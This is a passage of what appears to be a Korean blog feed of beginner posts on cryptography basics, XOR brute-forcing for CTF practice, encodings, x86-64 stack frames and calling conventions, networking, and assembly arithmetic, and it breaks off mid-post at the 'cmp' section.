<p align='center'><img src="https://media1.tenor.com/m/ecOl8QcrEOgAAAAC/squinting.gif" width=50%> </p>

<hr>
<p>그 외에도 <code>6548404f495e4345440b</code> 암호문을 <strong>브루트포스</strong>를 통해 0부터 255까지 XOR 돌려주면</p>
<pre><code>output = bytes.fromhex(&quot;6548404f495e4345440b&quot;)
for i in range(256):
    flag = &quot;&quot;
    for j in output:
        flag += chr(i ^ j)

    chk = True
    for c in flag:
        if not (32 &lt;= ord(c) &lt; 127):
            chk = False
            break

    if chk: print(flag)</code></pre><p>등등과 같은 XOR 유형이 있겠습니다</p>
<p align='center'>
<img src="https://media1.tenor.com/m/W_FsaAqZ2YkAAAAC/phoenix-wright-ace-attorney.gif" width=50%></p>

<hr>
<p>한번 배웠던 내용을 실습해봅시다 : <a href="https://dreamhack.io/wargame/challenges/3014">https://dreamhack.io/wargame/challenges/3014</a></p>
<hr>
<p>이상으로 글을 마치겠습니다 감사합니다</p>
<p align='center'>
<img src="https://velog.velcdn.com/images/coding_pineapple/post/36852a06-a393-4fa6-adcd-97bf8d719726/image.png" width=70%></p>

<p><del>영역전개(ڈومین ایکسپینشن) : 미군버스터(امریکی فوج کا &#39;بسٹر&#39;)</del></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[암호학 개요]]></title>
            <link>https://velog.io/@coding_pineapple/%EC%95%94%ED%98%B8%ED%95%99-%EA%B0%9C%EC%9A%94</link>
            <guid>https://velog.io/@coding_pineapple/%EC%95%94%ED%98%B8%ED%95%99-%EA%B0%9C%EC%9A%94</guid>
            <pubDate>Fri, 07 Aug 2026 02:22:27 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까 코딩 파인애플입니다
이번 시간에는 암호학에 관해 알아보겠습니다.</p>
<h1 id="🔒암호학이란">🔒암호학이란?</h1>
<p><strong>암호학</strong>(Cryptography)은 <strong>정보를 안전하게 보호하기 위해</strong> _수학과 컴퓨터 과학_을 바탕으로 메시지를 변환하는 방법과 이를 해독하는 원리를 연구하는 학문을 의미합니다</p>
<p>예를 들어 저, 코딩 파인애플하고 저번 <span style="color: #FF0000;">R</span><span style="color: #00FF00;">G</span><span style="color: #0000FF;">B</span>에 나온 제 친구, 더미가 서로 게임에 관한 정보를 주고받는다고 가정해봅시다</p>
<p align='center'>
<img src="https://media1.tenor.com/m/iPWOmhCXL4cAAAAd/untitled-tag-game-roblox.gif"></p>
코딩 파인애플이 "고르도 산 23시에 귀신이 있다" 라는 정보를 더미에게 보냅니다 

<p>원래라면 이 메시지가 그대로 더미에게 전달되야 하지만 제 3자인 케인👺👺👺이라는 사람이 중간에 개입하여 내용을 가로챕니다</p>
<p align='center'><img src="https://velog.velcdn.com/images/coding_pineapple/post/e6c6bbe0-186a-4abc-8d34-c241fc8e50cd/image.jpg
"></p>
만약 코딩 파인애플이 메시지를 그대로 보낸다면 케인은 "고르도 산 23시에 귀신이 있다" 라는 내용을 그대로 확인할 수 있고


<p>케인이 메시지를 변조하여 &quot;은평구의 언덕 4시쯤 코괴물이 있다&quot;
라는 잘못된 정보로 바꾼다면, 더미는 코딩 파인애플이 보낸 정보라고 믿고 잘못된 내용을 전달받을 수 있습니다
<img src="https://media.tenor.com/8QM4wZDJ8l4AAAAm/%EC%BC%80%EC%9D%B8-%EC%95%88%EC%A3%84%EC%86%A1%ED%95%B4.webp"></p>
<p>이런 문제를 해결하기 위해 등장한 것이 <strong>암호학</strong>(Cryptography) 입니다</p>
<h2 id="암호학의-목표">암호학의 목표</h2>
<p>암호학도 대표적인 4가지 목표가 존재합니다</p>
<h3 id="기밀성-confidentiality">기밀성 (Confidentiality)</h3>
<p><del>김일성</del> 누가 봐도 내용을 알 수 없게 합니다
예를 들어 원본이 password=1234 이라면 암호화는 8fA92kLm
즉, <strong>키가 없으면 복호화 불가능합니다</strong> 🔑🔑🔑<img src="https://minecraft.wiki/images/Trial_Key_JE2_BE2.png?a203a" width=20%>대표적으로 AES, RSA, ChaCha20 등이 있습니다.</p>
<h3 id="무결성-integrity">무결성 (Integrity)</h3>
<p>데이터가 중간에 변조되지 않았음을 보장합니다
예를 들어 원본이 hello.exe이고 해시는 a94a8fe5ccb19... 인데
누군가 파일을 수정하면 b72d91ab8c21... 해시가 달라집니다
<img src="https://media.tenor.com/0LNjIAcMHS8AAAAi/let-me-leave-qwidwvnr.gif" width=30%>대표적으로 SHA-256,HMAC 등이 있습니다</p>
<h3 id="인증-authentication">인증 (Authentication)</h3>
<p>상대방이 진짜인지 확인합니다
예를 들어 접속한 사이트 <a href="https://blog.naver.com/xkdltm1/119701915" onclick="return false;">https://google.com</a> 정말 구글인지 어떻게 알까요 
이를 위해 <strong>인증서와 전자서명</strong>을 이용합니다</p>
<h3 id="부인-방지-non-repudiation">부인 방지 (Non-repudiation)</h3>
<p>나중에 발뺌하지 못하게 합니다</p>
<p>예를 들어 코딩 파인애플과 더미가 계약을 한다면
구두 계약일 경우 나중에 더미가 &#39;안했다&#39;라고 발뻄을 할 수 있지만
서면 계약일 경우 서면이 있어 더미가 &#39;안했다&#39;라고 발뻄하기 어렵습니다</p>
<h2 id="기초-인코딩과-데이터-표현">기초 인코딩과 데이터 표현</h2>
<h3 id="ascii">ASCII</h3>
<p><strong>ASCII</strong>(American Standard Code for Information Interchange)는 0부터 127까지의 정수를 사용하여 텍스트를 표현할 수 있는 7비트 인코딩 표준입니다</p>
<blockquote>
<p>왜 128개만 사용하는가?
아스키코드는 1바이트를 사용합니다
그렇기 때문에 2^8=256개를 사용할 수 있지만 2^7=128 까지만 사용합니다 그 까닭은 나머지 1bit는 <strong>Parity Bit</strong> 즉, <strong>통신 에러 검출</strong>을 위해 사용하기 위해 남겨둡니다</p>
</blockquote>
<p>대응표는 다음과 같습니다</p>
<p align='center'>
  <img src="https://goodgid.github.io/assets/img/posts/ascii_code_1.png" width=60%>
  </p>
이를 파이썬 디코딩 코드로 나타내면 다음과 같습니다

<pre><code>ascii_codes = []

res = &quot;&quot;

for i in ascii_codes:
    char = chr(i)   # chr : 아스키코드 또는 유니코드 값을 입력받아 그에 해당하는 문자로 변환해 주는 함수
    res += char     # 결과 문자열에 추가

print(res)</code></pre><h3 id="hex">HEX</h3>
<p><strong>HEX</strong>(hexadecimal)는...그냥 쉽게 말해 16진수라 보시면 됩니다</p>
<p>파이썬 디코딩 코드로 나타내면 다음과 같습니다</p>
<pre><code>hex_data = &quot;&quot;

result = &quot;&quot;

for value in hex_data.split():
    number = int(value, 16)
    character = chr(number)
    result += character

print(result)</code></pre><h3 id="base64">Base64</h3>
<p><strong>Base64</strong>는 바이너리(Binary) 데이터를 ASCII 문자로 변환하는 인코딩 방식입니다</p>
<p>즉,
<code>원본 데이터 -&gt; Base64 Encoding -&gt; ASCII 문자열</code></p>
<p>구조입니다</p>
<p>대표적인 사이트는 <a href="https://www.base64decode.org/ko/">https://www.base64decode.org/ko/</a> 이 있겠습니다... <del>신세를 참 많이 지죠</del></p>
<p>파이썬 디코딩 코드로 나타내면 다음과 같습니다</p>
<pre><code>import base64

encoded = &quot;&quot;

decoded = base64.b64decode(encoded)
#Base64로 인코딩 된 문자열을 원래의 데이터로 디코딩하는 함수

print(decoded)</code></pre><p><br><br><br><br><br>
이상으로 글을 마치겠습니다 감사합니다.</p>
<p align='center'>
<img src="
https://velog.velcdn.com/images/coding_pineapple/post/96cdfd6d-81a7-4118-80b2-3de626ba1024/image.png" width=50%></p>

<p><del>ADRIAN 🗣️🗣️🗣️🔥🔥🔥🔥</del></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[스택 프레임과 호출 규약]]></title>
            <link>https://velog.io/@coding_pineapple/%EC%8A%A4%ED%83%9D-%ED%94%84%EB%A0%88%EC%9E%84%EA%B3%BC-%ED%98%B8%EC%B6%9C-%EA%B7%9C%EC%95%BD</link>
            <guid>https://velog.io/@coding_pineapple/%EC%8A%A4%ED%83%9D-%ED%94%84%EB%A0%88%EC%9E%84%EA%B3%BC-%ED%98%B8%EC%B6%9C-%EA%B7%9C%EC%95%BD</guid>
            <pubDate>Thu, 06 Aug 2026 03:53:30 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까 코딩 파인애플입니다
이번 시간에는 레지스터와 어셈블리어의 스택 프레임과 호출 규약에 관해 알아보겠습니다.</p>
<h1 id="메모리와-엔디언">메모리와 엔디언</h1>
<p>메모리는 그냥 바이트가 주소 순서로 늘어선 거대로 배열입니다
주소는 0x404000, 0x404001... 등 1바이트씩 번호가 매겨집니다</p>
<p>또한 메모리는 용도별로 영역이 나뉘어지는데 각각
-코드 : 실행할 명령어들
-데이터 : 전역 변수 .data의 경우 초기값이 있고 .bss는 0으로 시작함
-힙 : malloc으로 동적 할당하는 영역, 낮은 주소에서 위로 상승
-스택 : 지역변수 및 함수 호출 정보 높은 주소에서 아래로 하강</p>
<p>이러한 바이트끼리 값을 저장할 때 x86-64는 리틀엔디언 방식을 사용합니다
(하위 바이트를 낮은 주소에 먼저 넣음)</p>
<p>에를 들어 메모리에 78 56 34 12이 있으면 값을 뒤집은 0x12345678이 되는 식입니다</p>
<p>반대로 빅 엔디안의 경우 낮은 주소의 데이터에 높은 바이트부터 저장하는 방식을 사용합니다</p>
<h1 id="스택">스택</h1>
<p>스택은 자료구조에서나 리버싱에서나 중요한 개념입니다</p>
<p>스택은 LIFO (Least In First Out) 구조로 특이한 성질이 존재합니다
값을 넣을수록 주소가 작아지며 rsp가 항상 꼭대기 (낮은 일대)를 가리킵니다</p>
<blockquote>
<p>왜 스택은 높은 주소에서 낮은 주소로 채워지는가?
한정된 메모리를 낭비 없이 사용하려고 힙과 스택이 같은 메모리 공간을 양쪽 끝에서 나눠 쓰면서 서로를 향해 자라도록 하려고</p>
</blockquote>
<h2 id="스택-프레임">스택 프레임</h2>
<p>함수가 호출되면 자기만의 공간 (프레임)을 스택에 만듭니다 이를 프롤로그라고 부릅니다</p>
<pre><code>push rbp          ; 이전 함수의 rbp를 저장 (나중에 복원)
mov  rbp, rsp     ; 현재 스택 꼭대기를 이 함수의 기준점으로 삼음
sub  rsp, 0x20    ; 지역변수 쓸 공간 0x20바이트 확보</code></pre><h2 id="call과-ret">call과 ret</h2>
<p>call은 반환 주소를 자동으로 스택에 저장하고 함수로 점프합니다</p>
<p>반대로 ret은 이 과정을 되감습니다 스택 꼭대기에 저장된 반환 주소를 꺼내 그리로 점프합니다</p>
<h2 id="leave">leave</h2>
<p>함수가 끝날 때 leave는 프롤로그를 되감는 에필로그를 하게 됩니다</p>
<pre><code>leave =
mov rsp, rbp   (지역변수 공간 통째로 버림)
pop rbp        (저장했던 이전 rbp 복원)</code></pre><h1 id="호출-규약">호출 규약</h1>
<p>함수 호출 규약(Calling Convention)은 함수를 호출할 때 지켜야 하는 약속입니다
즉 &quot;인자를 어디에 넣을 지&quot;, &quot;반환값은 어디에 저장할 지&quot;, &quot;누가 스택을 정리할지&quot;
를 정해놓은 규칙입니다</p>
<h2 id="caller와-callee">Caller와 Callee</h2>
<p>함수 호출에는 항상 두 주체가 있습니다.</p>
<p>Caller(호출자) : 함수를 호출하는 함수
Callee(피호출자) : 호출당하는 함수</p>
<p>예컨데</p>
<pre><code>int add(int a, int b){
    return a+b;
}

int main(){
    add(3,5);
}
</code></pre><p>일 경우
main → Caller
add → Callee
가 되는 꼴입니다.</p>
<h2 id="windows-x64의-호출-규약">Windows x64의 호출 규약</h2>
<p>컴퓨터 프로그램에서 함수를 호출할 때 매개변수를 전달하는 순서, 레지스터와 스택 사용 방법, 그리고 함수 종료 후 스택을 정리하는 주체에 대한 규칙을 의미합니다</p>
<p>또한 운영체제 및 CPU 아키덱처 (32/64비트)에 따라 호출 규약이 다릅니다</p>
<p>첫 번째부터 네 번째 인자는 레지스터로 전달됩니다</p>
<pre><code>1번째 RCX    2번째 RDX    3번째 R8     4번째 R9
</code></pre><p>예를 들어</p>
<pre><code>sum(10,20,30,40); </code></pre><p>이라면</p>
<pre><code>sum(RCX,RDX,R8,R9);

; RCX = 10    RDX = 20
; R8  = 30    R9  = 40</code></pre><p>가 됩니다.</p>
<p>5번째 인자부터는 레지스터가 네 개뿐이므로 5번째부터는 스택에 저장됩니다
예를 들어</p>
<p>반환값은 항상 RAX 에 저장됩니다
예를 들어</p>
<pre><code>return 100;</code></pre><p>은</p>
<pre><code>mov eax, 100
ret</code></pre><p>처럼 보입니다</p>
<p>이상으로 글을 마치겠습니다 감사합니다.</p>
<p align='center'>
<img src="
https://media1.tenor.com/m/plexKS-B3bcAAAAd/head-on-fire-fire.gif" width=505></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[인터넷과 네트워크]]></title>
            <link>https://velog.io/@coding_pineapple/%EC%9D%B8%ED%84%B0%EB%84%B7%EA%B3%BC-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC</link>
            <guid>https://velog.io/@coding_pineapple/%EC%9D%B8%ED%84%B0%EB%84%B7%EA%B3%BC-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC</guid>
            <pubDate>Wed, 05 Aug 2026 05:27:21 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까 코딩 파인애플입니다
이번 시간에는 인터넷과 네트워크에 관해 알아보겠습니다.</p>
<h1 id="🌐-span-stylecolor-0052cc-font-weight-bold인터넷span">🌐 <span style="color: #0052CC; font-weight: bold;">인터넷</span></h1>
<p><span style="color: #0052CC; font-weight: bold;">인터넷(Internet)</span>은 수많은 네트워크가 서로 연결된 전 세계 가장 큰 _거대한 연결망_입니다</p>
<p><strong>TCP/IP</strong> 프로토콜이 기반이며, 다양한 장치들이 서로 데이터를 주고받을 수 있도록 합니다</p>
<p align='center'><img src="https://media1.tenor.com/m/S-b1Yt7IwUMAAAAC/tenna-dancing-deltarune.gif"></p>

<p>인터넷의 역사는 대학·연구소 간 자원 공유 목적의 <strong>아르파넷</strong>(ARPANET)에서 출발하여, 초고속 연구망인 NSFNET 구축으로 확장되었습니다</p>
<p>이후 팀 버너스리가 하이퍼텍스트 기반의 <strong>WWW(월드 와이드 웹)</strong>을 발명하면서 대중화의 발판이 마련되었고, 1995년 민간 상업화가 허용되며 오늘날의 글로벌 인터넷 시대로 진화했습니다</p>
<p>인터넷의 대표적인 구성 요소는 <strong>클라이언트, 서버, 라우터, 백본망, DNS</strong> 가 있겠습니다</p>
<p align='center'><img src="https://media1.tenor.com/m/dSPb0axcrKgAAAAC/deltarune-delta-rune.gif" width=50%><p>

<h2 id="tcpip란">TCP/IP란</h2>
<p>TCP/IP는 인터넷에서 컴퓨터들이 서로 데이터를 정확하게 주고받기 위해 사용하는 프로토콜입니다
각각 전송 제어 프로토콜(TCP)과 인터넷 프로토콜(IP)를 결합한 이름입니다</p>
<h3 id="tcp-transmission-control-protocol">TCP (Transmission Control Protocol)</h3>
<p><strong>전송(Transmission)</strong>을 <strong>제어(Control)</strong>하는 <strong>규칙(Protocol)</strong>입니다</p>
<p>데이터의 신뢰성과 정확성을 책임지며</p>
<p>데이터를 <strong>패킷</strong>이라는 작은 조각으로 나누고 주고받는 과정에서 데이터가 깨지거나 사라지지 않는지 끝까지 확인하는 역할을 수행합니다</p>
<h3 id="ip-internet-protocol">IP (Internet Protocol)</h3>
<p><strong>인터넷(Internet)</strong>에서 통신하기 위한 <strong>규칙(Protocol)</strong>입니다</p>
<p>데이터의 목적지 주소와 경로를 책임집니다</p>
<p>IP주소를 기반으로 동작하며 TCP가 쪼개놓은 패킷들을 목적지 컴퓨터까지 가장 빠른 길을 찾아 배달합니다</p>
<h1 id="🕸️span-stylecolor-007bff-font-weight-bold네트워크span">🕸️<span style="color: #007BFF; font-weight: bold;">네트워크</span></h1>
<p><span style="color: #007BFF; font-weight: bold;">네트워크(Network)</span>는 두 대 이상의 컴퓨터가 <strong>데이터를 주고받기 위해</strong> 연결된 구조입니다</p>
<p>그물을 뜻하는 <strong>넷(Net)</strong>과 <strong>일(Work)</strong>의 합성어로 컴퓨터만이 아닌 온갖 전자기기가 <strong>유/무선으로 엮여서 일하는 상태</strong>를 의미합니다
<img src="https://media1.tenor.com/m/_A_FC_taTFMAAAAd/deltarune-sleep.gif">네트워크의 대표적인 구성 요소는 <strong>노드 (Node)</strong>,  <strong>링크 (Link)</strong>, *<em>프로토콜 (Protocol) *</em>이 있습니다</p>
<ul>
<li>*<em>Node *</em>: 네트워크에 연결된 PC,스마트폰, 서버 같은 전자기기</li>
<li><strong>Link</strong> : 장치들을 이어주는 랜선, 광케이블, 와이파이, 5G 등</li>
<li><strong>Protocol</strong> : 장치들이 상호작용할 때 지켜야 할 공통된 &#39;통신 규칙&#39;
(TCP/IP, HTTP, FTP, DNS 등)</li>
</ul>
<p align='center'>
<img src="https://media.tenor.com/SgEHZXKrc5wAAAAi/fun-gang-gangnam-style.gif" width=30%></p>

<h2 id="💻범위에-따른-네트워크-종류">💻범위에 따른 네트워크 종류</h2>
<p>네트워크는 범위에 따라 <strong>LAN(Local</strong> Area Network)과 <strong>WAN(Wide</strong> Area Network)으로 구분됩니다</p>
<ul>
<li><p>🏠<strong>LAN</strong> : 집, 학교, 사무실 건물 등 가까운 공간, 속도가 매우 빠르고 유지 비용이 적게 듦</p>
</li>
<li><p>🌍<strong>WAN</strong> : 도시, 국가, 전 세계 등 매우 넓은 지역, 멀리 떨어진 LAN을 서로 연결한다 대표적인 WAN이 인터넷.</p>
<img src="https://media1.tenor.com/m/NiFwSHQCa_0AAAAC/undertale.gif" width=10%>
> \+ 인터넷을 연결해 주는 통신 회사를 **ISP** (Internet Service Provider,인터넷 서비스 제공자) 라고 부르며 인터넷 서비스를 사용자에게 제공하며 전 세계 네트워크 망을 유지하고 관리하는 역할을 한다 (대표적인 예시로 KT, SK, LG 삼통)

</li>
</ul>
<p><br><br><br><br>이상으로 글을 마치겠습니다 감사합니다.
<br> <img src="https://media1.tenor.com/m/HEPKI3kqmB4AAAAC/asgore.gif"></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[레지스터와 어셈블리어 기초 산술 연산]]></title>
            <link>https://velog.io/@coding_pineapple/%EB%A0%88%EC%A7%80%EC%8A%A4%ED%84%B0%EC%99%80-%EC%96%B4%EC%85%88%EB%B8%94%EB%A6%AC%EC%96%B4-%EA%B8%B0%EC%B4%88-%EC%82%B0%EC%88%A0-%EC%97%B0%EC%82%B0</link>
            <guid>https://velog.io/@coding_pineapple/%EB%A0%88%EC%A7%80%EC%8A%A4%ED%84%B0%EC%99%80-%EC%96%B4%EC%85%88%EB%B8%94%EB%A6%AC%EC%96%B4-%EA%B8%B0%EC%B4%88-%EC%82%B0%EC%88%A0-%EC%97%B0%EC%82%B0</guid>
            <pubDate>Tue, 04 Aug 2026 01:06:00 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까 코딩 파인애플입니다
이번 시간에는 레지스터와 어셈블리어 기초 산술 연산에 관해 알아보겠습니다.</p>
<h1 id="레지스터란-🥀🥀🥀">레지스터란? 🥀🥀🥀</h1>
<p>레지스터(register)는 중앙처리장치(CPU) 내부에 있는 저장장치를 의미합니다
CPU가 연산을 수행하려고 하면 필요한 데이터를 먼저 <strong>레지스터에 저장</strong>해야 합니다.</p>
<p align='center'>
<img src="https://media1.tenor.com/m/xq7tPKKflzAAAAAC/next-steps-conference-next-steps.gif" width=50%></p>

<h2 id="범용-레지스터">범용-레지스터</h2>
<p>다음은 x86-64에서 사용하는 주요 레지스터입니다</p>
<table>
<thead>
<tr>
<th align="left">레지스터</th>
<th>주요 역할</th>
</tr>
</thead>
<tbody><tr>
<td align="left">rax</td>
<td>연산 결과나 함수의 반환값 저장</td>
</tr>
<tr>
<td align="left">rbx</td>
<td>일반적인 데이터 임시 저장</td>
</tr>
<tr>
<td align="left">rcx</td>
<td>반복 횟수나 특정 연산의 횟수 저장</td>
</tr>
<tr>
<td align="left">rdx</td>
<td>곱셈·나눗셈 또는 함수 인자 전달에 사용</td>
</tr>
<tr>
<td align="left">rsi</td>
<td>데이터를 옮길 때 원본 주소를 가리킴</td>
</tr>
<tr>
<td align="left">rdi</td>
<td>데이터를 옮길 때 목적지 주소를 가리킴</td>
</tr>
<tr>
<td align="left">rsp</td>
<td>현재 스택의 가장 위쪽 위치를 가리킴</td>
</tr>
<tr>
<td align="left">rbp</td>
<td>현재 함수가 사용하는 스택 영역의 기준 위치</td>
</tr>
<tr>
<td align="left">rip</td>
<td>현재 또는 다음에 실행할 명령어의 위치를 가리킴</td>
</tr>
</tbody></table>
<p>(천천히 외워도 좋습니다)</p>
<h2 id="🔣-세그먼트-레지스터">🔣 세그먼트-레지스터</h2>
<p>세그먼트 레지스터는 <strong>메모리 영역을 구분</strong>하기 위해 사용됩니다</p>
<table>
<thead>
<tr>
<th align="left">레지스터</th>
<th>의미</th>
</tr>
</thead>
<tbody><tr>
<td align="left">cs</td>
<td>코드가 저장된 영역</td>
</tr>
<tr>
<td align="left">ss</td>
<td>스택이 저장된 영역</td>
</tr>
<tr>
<td align="left">ds</td>
<td>일반 데이터가 저장된 영역</td>
</tr>
</tbody></table>
<h2 id="🚩-플래그-레지스터">🚩 플래그-레지스터</h2>
<p>플래그 레지스터는 <strong>연산 결과의 상태를 기록</strong>합니다</p>
<p>예를 들어 두 숫자를 더한 결과값이 <strong>0인지, 음수인지, 범위 초과</strong>인지 등을 저장합니다.</p>
<table>
<thead>
<tr>
<th align="left">플래그</th>
<th>의미</th>
</tr>
</thead>
<tbody><tr>
<td align="left">CF</td>
<td>부호 없는 숫자에서 자리 올림 또는 범위 초과가 발생하면 1.</td>
</tr>
<tr>
<td align="left">ZF</td>
<td>연산 결과가 0이면 1.</td>
</tr>
<tr>
<td align="left">SF</td>
<td>연산 결과의 최상위 비트가 1이면 1, 음수인지 확인하는 데 쓰임.</td>
</tr>
<tr>
<td align="left">OF</td>
<td>부호 있는 숫자의 연산 결과가 표현 범위를 넘으면 1.</td>
</tr>
</tbody></table>
<h3 id="cf와-of의-차이-🌊🌊🌊">CF와 OF의 차이 🌊🌊🌊</h3>
<p>CF와 OF는 부호가 <strong>있냐 없냐</strong>에 따라 범위 초과를 알립니다
예를 들어 8비트 부호 없는 숫자는 <strong>0~255</strong>까지 표현할 수 있습니다</p>
<p>여기서 255+1이 되면 256이 되는데
8비트로 부호 없는 숫자로 256를 표현할 수 없으므로 CF가 설정됩니다</p>
<p>반면 8비트 부호 있는 숫자는 <strong>-128~127</strong>까지 표현할 수 있습니다
여기서 127+1이 되면 128이 되는데
8비트 부호 있는 숫자로 128을 표현할 수 없으므로 OF가 설정됩니다</p>
<p align='center'>
  <img src="https://velog.velcdn.com/images/coding_pineapple/post/cd007138-40c4-4d23-990a-1714f8d5286b/image.png" width=40%>
</p>

<h1 id="어셈블리어의-기초-산술-연산-🥀">어셈블리어의 기초 산술 연산 🥀</h1>
<p>어셈블리어의 기본 연산은 크게 다음과 같이 나눌 수 있습니다</p>
<p>1️⃣ <strong>데이터 이동 연산<br>2️⃣ 산술 연산
3️⃣ 논리 연산
4️⃣ 비교 연산
5️⃣ 분기 연산</strong></p>
<h2 id="1-데이터의-이동-연산-⬆️">1. 데이터의 이동 연산 ⬆️</h2>
<p>데이터 이동 연산은 값을 <strong>레지스터나 메모리로 옮기는 연산</strong>을 의미합니다
C언어로 비유하면 <strong>&#39;=&#39;</strong>이 있겠습니다</p>
<p>대표적인 명령어는 <strong>mov, push, pop</strong> 등이 있습니다</p>
<h3 id="mov">mov</h3>
<p>mov는 값을 <strong>복사하여 다른 위치에 저장하는 명령어</strong>입니다</p>
<p>기본 구조는 다음과 같습니다</p>
<pre><code>mov 목적지, 원본</code></pre><p>만일 mov rax, 10일 경우 rax = 10이 되겠습니다</p>
<p>또한 mov rax, rbx라면 rax = rbx 정도로도 볼 수 있겠습니다.</p>
<blockquote>
</blockquote>
<p>+ 리버싱을 하다 보면 <strong>lea</strong>이라는 것도 자주 볼 수 있는데 이는 주소 <strong>계산을 수행</strong>하는 mov라 보시면 편합니다</p>
<h3 id="push">push</h3>
<p>push는 값을 <strong>스택에 저장하는 명령어</strong>입니다</p>
<p>push rax라면 &quot;rax라는 값을 스택에 저장한다&quot;가 되겠습니다</p>
<h3 id="pop">pop</h3>
<p>pop는 스택의 <strong>가장 위에 있는 값을 꺼내는 명령어</strong>입니다</p>
<p>pop rax라면 &quot;스택의 가장 위에 있는 값을 꺼내 rax에 저장한다&quot; 가 되겠습니다</p>
<h2 id="2-➕➖산술-연산➗✖️">2. ➕➖산술 연산➗✖️</h2>
<p>산술 연산은 숫자를 <strong>더하거나 빼고, 곱하거나 나누는 연산</strong>을 의미합니다</p>
<p>대표적인 명령어로는 <strong>add, sub, inc, dec, mul, imul, div, idiv</strong>가 있습니다</p>
<p align='center'><img src="https://media1.tenor.com/m/HD8_EDOXMKAAAAAC/lumine-genshin.gif" width=50%></p>

<h3 id="add➕">add➕</h3>
<p>add는 <strong>두 값을 더하는 명령어</strong>입니다</p>
<p>기본 구조는 다음과 같습니다</p>
<pre><code>add 목적지, 원본</code></pre><p>만일 mov rax, 10  add rax, 5라고 할 경우
rax=10;
rax+=5; 연산과 같다고 볼 수 있겠습니다</p>
<p>또한 다른 레지스터의 값을 더할 수도 있습니다</p>
<pre><code>mov rax, 10
mov rbx, 20
add rax, rbx</code></pre><h3 id="sub➖">sub➖</h3>
<p>sub는 <strong>첫 번째 값에서 두 번째 값을 빼는 명령어</strong>입니다.</p>
<pre><code>sub 목적지, 원본</code></pre><p>예...그냥 -(마이너스) 입니다 마이너스.</p>
<h3 id="inc➕➕">inc➕➕</h3>
<p>inc는 값을 1 증가시킵니다</p>
<pre><code>mov rax, 5
inc rax</code></pre><p>위 예시 처럼 rax=5라는 값을 inc을 통해 1 증가시켜 rax는 6이 됩니다
c언어로 비유하자면 rax++; 정도 되겠습니다</p>
<h3 id="dec➖➖">dec➖➖</h3>
<p>dec는 값을 1 감소시킵니다</p>
<pre><code>mov rax, 5
dec rax</code></pre><p>마찬가지로 rax=5라는 값을 dec을 통해 1 감소시켜 rax는 4가 됩니다
c언어로 비유하자면 rax--; 정도 되겠습니다</p>
<h3 id="mul➗">mul➗</h3>
<p>mul은 <strong>부호 없는 숫자의 곱셈을 진행해주는 명령어</strong>입니다</p>
<pre><code>mov rax, 5
mov rbx, 3
mul rbx</code></pre><p>을 진행하여 rax는 15의 값을 가집니다
(참고로 mul은 항상 rax을 피연산자로 사용합니다)</p>
<h3 id="imul➗">imul➗</h3>
<p>imul은 <strong>부호 있는 숫자의 곱셈을 진행해주는 명령어</strong>입니다</p>
<pre><code>mov rax, -5
imul rax, 3</code></pre><p>을 진행하여 rax는 -15의 값을 가집니다</p>
<h3 id="div✖️">div✖️</h3>
<p>div는 <strong>부호 없는 수자의 나눗셈을 진행해주는 명령어</strong>입니다
나눗셈에서는 일반적으로 rdx와 rax를 함께 사용합니다</p>
<pre><code>mov rax,10
mov rdx,0
mov rbx,3
div rbx</code></pre><p>보편적으로
rax = 몫, rdx = 나머지 으로 사용됩니다
따라서 결과는 다음과 같아집니다
rax = 3, rdx = 1</p>
<h3 id="idiv✖️">idiv✖️</h3>
<p>idiv는 부호 있는 숫자의 나눗셈을 진행해주는 명령어입니다
div와 사용 방법은 비슷하지만 <strong>음수를 처리할 수 있습니다</strong></p>
<h2 id="3-논리-연산👾">3. 논리 연산👾</h2>
<p>논리 연산은 데이터를 <strong>비트 단위로 계산하는 연산</strong>입니다</p>
<p>대표적인 명령어로는 <strong>and, or, xor, not</strong>이 있습니다</p>
<p align='center'><img src="https://media1.tenor.com/m/-U7fURCMrFoAAAAC/hacker-hacker-man.gif" width=50%></p>

<h3 id="and">and &amp;&amp;</h3>
<p>and는 <strong>두 비트가 모두 1일 때만 결과값을 1</strong>로 만듭니다
반대로 한 비트라도 0이면 <strong>결과값은 0</strong>이 됩니다</p>
<pre><code>0 AND 0 = 0
0 AND 1 = 0
1 AND 0 = 0
1 AND 1 = 1
</code></pre><p>만일 rax = 1101, rbx = 1011 일 경우.
and rax, rbx을 하게 된다면</p>
<p>rax = 1001이 됩니다.</p>
<p>또한 and는 특정 비트만 남기고 나머지 비트를 제거할 때 자주 사용됩니다</p>
<h3 id="or-">or ||</h3>
<p>or는 두 비트 중 <strong>하나라도 1이면 결과값을 1</strong>로 만듭니다
반대로 두 비트 전부 0이면 결과값은 0이 됩니다</p>
<pre><code>0 OR 0 = 0
0 OR 1 = 1
1 OR 0 = 1
1 OR 1 = 1</code></pre><p>만일 rax = 1100, rbx = 0011 일 경우.
or rax, rbx을 하게 된다면</p>
<p>rax = 1111이 됩니다</p>
<h3 id="xor-">xor ^</h3>
<p>xor는 <strong>두 비트가 서로 다르면 1, 같으면 0</strong>이 됩니다</p>
<pre><code>0 XOR 0 = 0
0 XOR 1 = 1
1 XOR 0 = 1
1 XOR 1 = 0</code></pre><p>만일 rax = 1100, rbx = 1010 일 경우.
xor rax, rbx을 하게 된다면</p>
<p>rax = 0110이 됩니다</p>
<p>또한 레지스터를 0으로 초기화할 때 자주 사용합니다</p>
<h3 id="not-❗❗❗">not ❗❗❗</h3>
<p>not은 모든 비트를 <strong>반대로 바꿉니다</strong> <p style="color: #0F800F"><del>C-MOON</del></p>
즉, 0은 1로 바뀌고, 1은 0으로 바뀝니다
만일 rax = 1010 일 경우
not rax을 하게 된다면</p>
<p>rax = 0101이 됩니다</p>
<h2 id="4-비교-연산⚖️⚖️⚖️">4. 비교 연산⚖️⚖️⚖️</h2>
<p>비교 연산은 <strong>두 값을 비교하여 플래그 레지스터를 설정하는 연산</strong>입니다</p>
<p>대표적인 명령어는 <strong>cmp와 test</strong>가 있습니다</p>
<p align='center'><img src="https://media.tenor.com/Lxs2A_3LJrIAAAAi/nub-nub-cat.gif" width=30%></p>

<h3 id="cmp">cmp</h3>
